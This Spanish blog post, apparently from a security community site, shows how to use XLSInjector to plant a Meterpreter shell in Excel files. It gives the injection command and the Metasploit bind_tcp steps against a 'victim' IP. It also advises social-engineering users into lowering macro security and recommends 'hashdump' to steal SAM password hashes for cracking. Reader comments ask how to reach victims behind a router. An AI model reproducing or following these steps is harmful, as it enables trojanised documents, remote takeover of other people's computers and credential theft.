Entries (RSS)
Nov 25

XLSInjector – Inyectar Shell Meterpreter en Archivos Excel Publicada por DragoN en Documentacion, Herramientas Seguridad, Pentest .


Para nadie es un secreto que la suite ofimática mas utilizada en el mundo es Microsoft Office, que se lleva la mayor parte de la cuota de mercado en entornos Windows y Mac, de esta suite, las aplicaciones mas utilizadas son Microsoft Word, Microsoft Excel y Microsoft Power Point que casi siempre están instaladas en la mayoría de computadores.

En esta ocasión les voy a hablar sobre XLSInjector, una herramienta creada en perl por keith lee que permite inyectar en un archivo XLS de Microsoft Excel una consola meterpreter (ejecutando todo en la memoria ram sin crear procesos adicionales), permitiéndonos acceder a el remotamente por el puerto 4444 y tomar total control de la maquina.

4141619399 6369cd84b7 XLSInjector   Inyectar Shell Meterpreter en Archivos Excel

Para que XLSInjector funcione adecuadamente, necesitamos lo siguiente:

Después de tener todos los elementos necesarios para el correcto funcionamiento del XLSInjector pasamos a su ejecución, que es bastante simple:

perl xlsinjector.pl -i ArchivoDeExcel.xls -o ArchivoConShellDeExcel.xls

Pero no todo es tan simple con esta herramienta, resulta que XLSInjector NO salta los filtros de scripting puestos por Microsoft en su suite ofimática, por lo que toca convencer, por medio de ingeniería social o cualquier otra técnica que el mismo usuario ponga la seguridad de las macros en baja y que “confié” en los proyectos de VB, algo complicado pero que seguro con algo de presunción se consigue que realicen estas tareas.

Suponiendo que ya se realizaron las configuraciones adecuadas para el correcto funcionamiento del XLSInjector vamos a acceder remotamente a nuestra shell meterpreter mediante la consola del Metasploit Framework

  • iniciamos la consola del metasploit
  • una vez en la consola de MSF cargamos el payload de meterpreter
    set payload windows/meterpreter/bind_tcp
  • lo configuramos adecuadamente
    set RHOST ipdelpcvictima
    set RPOT 4444
  • luego lo lanzamos
    exploit

Con estos simples pasos tenemos a nuestra disposición una shell meterpreter en el equipo remoto, hay que recordar que las shell meterpreter son diferentes a las del sistema operativo, y tienen su propio listado de comandos, puedes sacar el listado de comandos disponibles para la shell meterpreter escribiendo “?” y enter, te arrojara algo parecido a esto:

Core Commands
=============

Command Description
——- ———–
? Help menu
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel

Stdapi: File system Commands
============================

Command Description
——- ———–
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rmdir Remove directory
upload Upload a file or directory

Stdapi: Networking Commands
===========================

Command Description
——- ———–
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table

Stdapi: System Commands
=======================

Command Description
——- ———–
execute Execute a command
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shutdown Shuts down the remote computer
sysinfo Gets information about the remote system, such as OS

Stdapi: User interface Commands
===============================

Command Description
——- ———–
idletime Returns the number of seconds the remote user has been idle
uictl Control some of the user interface components

Priv: Password database Commands
================================

Command Description
——- ———–
hashdump Dumps the contents of the SAM database

Priv: Timestomp Commands
========================

Command Description
——- ———–
timestomp Manipulate file MACE attributes

Hay que resaltar la potencia de meterpreter para inyectar dll’s, subir ficheros, ejecutar scripts, te recomiendo que le des una leída a estos documentos (Meterpreter.pdf y MSF3-met.html) para que aprendas mas sobre los comandos del meterpreter.

Te recomiendo utilizar el comando migrate tan pronto puedas para evitar que tan pronto cierren el archivo XLS se cierre con el tu shell, otro comando recomendado es hashdump que te arroja el contenido del archivo SAM en la maquina victima para que posteriormente puedas obtener la clave de los usuarios con herramientas como l0phtcrack o cain&abel.

Por ultimo les dejo el video del autor, donde nos enseña el funcionamiento del XLSInjector

Envíale este Articulo a Tus Amigos

4 Responses to “XLSInjector – Inyectar Shell Meterpreter en Archivos Excel”

  1. 1
    Soldier Says:

    Excelente, voy a probar y posteo mis resultados mas tarde.
    Gracias por la info ;)

    Saludos

  2. 2
    Bett0 Says:

    Ah jajajaja pero que la leche, cada dia mas y mas buenos, y aqui en mi ciudad solo rascando como hacer paginitas y la seguridad bien gracias.
    Pero el aprender y saber cada dia es como una adiccion pero mas fuerte que las demas

  3. 3
    Bett0 Says:

    Ohh probando perjudico la U un rato.
    Probando el XLS Injection me salio un error:

    C:\Documents and Settings\Administrador\Mis documentos> perl xlsinjector.pl -i INF.xls -o 123.xls
    [*] xlsinjector.pl 0.1 [-u][-i][-o]
    -u Website to download excel file from
    -i Local excel file to use
    -o Output filename to use
    [*] Mail bug reports and suggestions to
    Can’t call method “VBComponents” on an undefined value at xlsinjector.pl line 62

    No se si se me puede ayudar cual seria el problema en la compilacion del codigo de xlsinjector.pl
    Disculpen si esto es muy basico pero no me ubico bien en Perl

  4. 4
    carina Says:

    como funcionaría con un equipo conectado a una red ? intentare explicarme

    Al parecer esto funciona cuando:

    usuario ——-(intert)——- victima

    Mi pregunta es como funcionaria si:

    usuario ——-(inter)——–(router)——–victima (parte de la red con ip digamos 10.0.0.5)

Leave a Reply


  • Acerca de…

    DragonJAR.org es una comunidad de investigadores, estudiantes, profesionales y entusiastas de la Seguridad Informática, En la cual se busca darle un enfoque eminentemente práctico a la teoría sin olvidar las bases esenciales de esta. De esta manera se Tratará de ofrecer soluciones útiles a los usuarios, tanto novatos, estudiantes, como a los profesionales e investigadores, Teniendo presente que el mundo de la seguridad informática y la información es un medio que se auto inventa constantemente.